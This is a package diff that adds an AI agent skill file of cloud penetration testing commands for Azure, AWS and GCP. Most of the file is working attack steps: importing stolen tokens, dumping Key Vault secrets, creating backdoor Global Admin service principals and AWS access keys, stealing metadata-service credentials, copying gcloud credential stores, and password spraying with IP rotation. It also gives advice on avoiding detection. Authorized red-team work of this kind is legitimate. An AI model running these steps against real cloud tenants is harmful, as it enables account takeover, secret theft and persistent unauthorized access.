@ngxtm/devkit 3.6.1 → 3.8.0

package/merged-commands/cloud-penetration-testing.md

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+---
+name: Cloud Penetration Testing
+description: This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Cloud Penetration Testing
+
+## Purpose
+
+Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
+
+## Prerequisites
+
+### Required Tools
+```bash
+# Azure tools
+Install-Module -Name Az -AllowClobber -Force
+Install-Module -Name MSOnline -Force
+Install-Module -Name AzureAD -Force
+
+# AWS CLI
+curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
+unzip awscliv2.zip && sudo ./aws/install
+
+# GCP CLI
+curl https://sdk.cloud.google.com | bash
+gcloud init
+
+# Additional tools
+pip install scoutsuite pacu
+```
+
+### Required Knowledge
+- Cloud architecture fundamentals
+- Identity and Access Management (IAM)
+- API authentication mechanisms
+- DevOps and automation concepts
+
+### Required Access
+- Written authorization for testing
+- Test credentials or access tokens
+- Defined scope and rules of engagement
+
+## Outputs and Deliverables
+
+1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings
+2. **Resource Inventory** - Enumerated services, storage, and compute instances
+3. **Credential Findings** - Exposed secrets, keys, and misconfigurations
+4. **Remediation Recommendations** - Hardening guidance per platform
+
+## Core Workflow
+
+### Phase 1: Reconnaissance
+
+Gather initial information about target cloud presence:
+
+```bash
+# Azure: Get federation info
+curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
+
+# Azure: Get Tenant ID
+curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
+
+# Enumerate cloud resources by company name
+python3 cloud_enum.py -k targetcompany
+
+# Check IP against cloud providers
+cat ips.txt | python3 ip2provider.py
+```
+
+### Phase 2: Azure Authentication
+
+Authenticate to Azure environments:
+
+```powershell
+# Az PowerShell Module
+Import-Module Az
+Connect-AzAccount
+
+# With credentials (may bypass MFA)
+$credential = Get-Credential
+Connect-AzAccount -Credential $credential
+
+# Import stolen context
+Import-AzContext -Profile 'C:\Temp\StolenToken.json'
+
+# Export context for persistence
+Save-AzContext -Path C:\Temp\AzureAccessToken.json
+
+# MSOnline Module
+Import-Module MSOnline
+Connect-MsolService
+```
+
+### Phase 3: Azure Enumeration
+
+Discover Azure resources and permissions:
+
+```powershell
+# List contexts and subscriptions
+Get-AzContext -ListAvailable
+Get-AzSubscription
+
+# Current user role assignments
+Get-AzRoleAssignment
+
+# List resources
+Get-AzResource
+Get-AzResourceGroup
+
+# Storage accounts
+Get-AzStorageAccount
+
+# Web applications
+Get-AzWebApp
+
+# SQL Servers and databases
+Get-AzSQLServer
+Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG
+
+# Virtual machines
+Get-AzVM
+$vm = Get-AzVM -Name "VMName"
+$vm.OSProfile
+
+# List all users
+Get-MSolUser -All
+
+# List all groups
+Get-MSolGroup -All
+
+# Global Admins
+Get-MsolRole -RoleName "Company Administrator"
+Get-MSolGroupMember -GroupObjectId $GUID
+
+# Service Principals
+Get-MsolServicePrincipal
+```
+
+### Phase 4: Azure Exploitation
+
+Exploit Azure misconfigurations:
+
+```powershell
+# Search user attributes for passwords
+$users = Get-MsolUser -All
+foreach($user in $users){
+    $props = @()
+    $user | Get-Member | foreach-object{$props+=$_.Name}
+    foreach($prop in $props){
+        if($user.$prop -like "*password*"){
+            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
+        }
+    }
+}
+
+# Execute commands on VMs
+Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
+
+# Extract VM UserData
+$vms = Get-AzVM
+$vms.UserData
+
+# Dump Key Vault secrets
+az keyvault list --query '[].name' --output tsv
+az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
+az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
+az keyvault secret show --id <URI>
+```
+
+### Phase 5: Azure Persistence
+
+Establish persistence in Azure:
+
+```powershell
+# Create backdoor service principal
+$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
+$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
+$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
+
+# Add service principal to Global Admin
+$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
+$role = Get-MsolRole -RoleName "Company Administrator"
+Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
+
+# Login as service principal
+$cred = Get-Credential  # AppID as username, secret as password
+Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal
+
+# Create new admin user via CLI
+az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
+```
+
+### Phase 6: AWS Authentication
+
+Authenticate to AWS environments:
+
+```bash
+# Configure AWS CLI
+aws configure
+# Enter: Access Key ID, Secret Access Key, Region, Output format
+
+# Use specific profile
+aws configure --profile target
+
+# Test credentials
+aws sts get-caller-identity
+```
+
+### Phase 7: AWS Enumeration
+
+Discover AWS resources:
+
+```bash
+# Account information
+aws sts get-caller-identity
+aws iam list-users
+aws iam list-roles
+
+# S3 Buckets
+aws s3 ls
+aws s3 ls s3://bucket-name/
+aws s3 sync s3://bucket-name ./local-dir
+
+# EC2 Instances
+aws ec2 describe-instances
+
+# RDS Databases
+aws rds describe-db-instances --region us-east-1
+
+# Lambda Functions
+aws lambda list-functions --region us-east-1
+aws lambda get-function --function-name <name>
+
+# EKS Clusters
+aws eks list-clusters --region us-east-1
+
+# Networking
+aws ec2 describe-subnets
+aws ec2 describe-security-groups --group-ids <sg-id>
+aws directconnect describe-connections
+```
+
+### Phase 8: AWS Exploitation
+
+Exploit AWS misconfigurations:
+
+```bash
+# Check for public RDS snapshots
+aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
+aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
+# AttributeValues = "all" means publicly accessible
+
+# Extract Lambda environment variables (may contain secrets)
+aws lambda get-function --function-name <name> | jq '.Configuration.Environment'
+
+# Access metadata service (from compromised EC2)
+curl http://169.254.169.254/latest/meta-data/
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
+
+# IMDSv2 access
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
+```
+
+### Phase 9: AWS Persistence
+
+Establish persistence in AWS:
+
+```bash
+# List existing access keys
+aws iam list-access-keys --user-name <username>
+
+# Create backdoor access key
+aws iam create-access-key --user-name <username>
+
+# Get all EC2 public IPs
+for region in $(cat regions.txt); do
+    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
+done
+```
+
+### Phase 10: GCP Enumeration
+
+Discover GCP resources:
+
+```bash
+# Authentication
+gcloud auth login
+gcloud auth activate-service-account --key-file creds.json
+gcloud auth list
+
+# Account information
+gcloud config list
+gcloud organizations list
+gcloud projects list
+
+# IAM Policies
+gcloud organizations get-iam-policy <org-id>
+gcloud projects get-iam-policy <project-id>
+
+# Enabled services
+gcloud services list
+
+# Source code repos
+gcloud source repos list
+gcloud source repos clone <repo>
+
+# Compute instances
+gcloud compute instances list
+gcloud beta compute ssh --zone "region" "instance" --project "project"
+
+# Storage buckets
+gsutil ls
+gsutil ls -r gs://bucket-name
+gsutil cp gs://bucket/file ./local
+
+# SQL instances
+gcloud sql instances list
+gcloud sql databases list --instance <id>
+
+# Kubernetes
+gcloud container clusters list
+gcloud container clusters get-credentials <cluster> --region <region>
+kubectl cluster-info
+```
+
+### Phase 11: GCP Exploitation
+
+Exploit GCP misconfigurations:
+
+```bash
+# Get metadata service data
+curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
+
+# Check access scopes
+curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
+
+# Decrypt data with keyring
+gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global
+
+# Serverless function analysis
+gcloud functions list
+gcloud functions describe <name>
+gcloud functions logs read <name> --limit 100
+
+# Find stored credentials
+sudo find /home -name "credentials.db"
+sudo cp -r /home/user/.config/gcloud ~/.config
+gcloud auth list
+```
+
+## Quick Reference
+
+### Azure Key Commands
+
+| Action | Command |
+|--------|---------|
+| Login | `Connect-AzAccount` |
+| List subscriptions | `Get-AzSubscription` |
+| List users | `Get-MsolUser -All` |
+| List groups | `Get-MsolGroup -All` |
+| Current roles | `Get-AzRoleAssignment` |
+| List VMs | `Get-AzVM` |
+| List storage | `Get-AzStorageAccount` |
+| Key Vault secrets | `az keyvault secret list --vault-name <name>` |
+
+### AWS Key Commands
+
+| Action | Command |
+|--------|---------|
+| Configure | `aws configure` |
+| Caller identity | `aws sts get-caller-identity` |
+| List users | `aws iam list-users` |
+| List S3 buckets | `aws s3 ls` |
+| List EC2 | `aws ec2 describe-instances` |
+| List Lambda | `aws lambda list-functions` |
+| Metadata | `curl http://169.254.169.254/latest/meta-data/` |
+
+### GCP Key Commands
+
+| Action | Command |
+|--------|---------|
+| Login | `gcloud auth login` |
+| List projects | `gcloud projects list` |
+| List instances | `gcloud compute instances list` |
+| List buckets | `gsutil ls` |
+| List clusters | `gcloud container clusters list` |
+| IAM policy | `gcloud projects get-iam-policy <project>` |
+| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
+
+### Metadata Service URLs
+
+| Provider | URL |
+|----------|-----|
+| AWS | `http://169.254.169.254/latest/meta-data/` |
+| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
+| GCP | `http://metadata.google.internal/computeMetadata/v1/` |
+
+### Useful Tools
+
+| Tool | Purpose |
+|------|---------|
+| ScoutSuite | Multi-cloud security auditing |
+| Pacu | AWS exploitation framework |
+| AzureHound | Azure AD attack path mapping |
+| ROADTools | Azure AD enumeration |
+| WeirdAAL | AWS service enumeration |
+| MicroBurst | Azure security assessment |
+| PowerZure | Azure post-exploitation |
+
+## Constraints and Limitations
+
+### Legal Requirements
+- Only test with explicit written authorization
+- Respect scope boundaries between cloud accounts
+- Do not access production customer data
+- Document all testing activities
+
+### Technical Limitations
+- MFA may prevent credential-based attacks
+- Conditional Access policies may restrict access
+- CloudTrail/Activity Logs record all API calls
+- Some resources require specific regional access
+
+### Detection Considerations
+- Cloud providers log all API activity
+- Unusual access patterns trigger alerts
+- Use slow, deliberate enumeration
+- Consider GuardDuty, Security Center, Cloud Armor
+
+## Examples
+
+### Example 1: Azure Password Spray
+
+**Scenario:** Test Azure AD password policy
+
+```powershell
+# Using MSOLSpray with FireProx for IP rotation
+# First create FireProx endpoint
+python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
+
+# Spray passwords
+Import-Module .\MSOLSpray.ps1
+Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
+```
+
+### Example 2: AWS S3 Bucket Enumeration
+
+**Scenario:** Find and access misconfigured S3 buckets
+
+```bash
+# List all buckets
+aws s3 ls | awk '{print $3}' > buckets.txt
+
+# Check each bucket for contents
+while read bucket; do
+    echo "Checking: $bucket"
+    aws s3 ls s3://$bucket 2>/dev/null
+done < buckets.txt
+
+# Download interesting bucket
+aws s3 sync s3://misconfigured-bucket ./loot/
+```
+
+### Example 3: GCP Service Account Compromise
+
+**Scenario:** Pivot using compromised service account
+
+```bash
+# Authenticate with service account key
+gcloud auth activate-service-account --key-file compromised-sa.json
+
+# List accessible projects
+gcloud projects list
+
+# Enumerate compute instances
+gcloud compute instances list --project target-project
+
+# Check for SSH keys in metadata
+gcloud compute project-info describe --project target-project | grep ssh
+
+# SSH to instance
+gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
+```
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |
+| Permission denied | List current roles; try different resources; check resource policies; verify region |
+| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |
+| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |
+
+## References
+
+- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation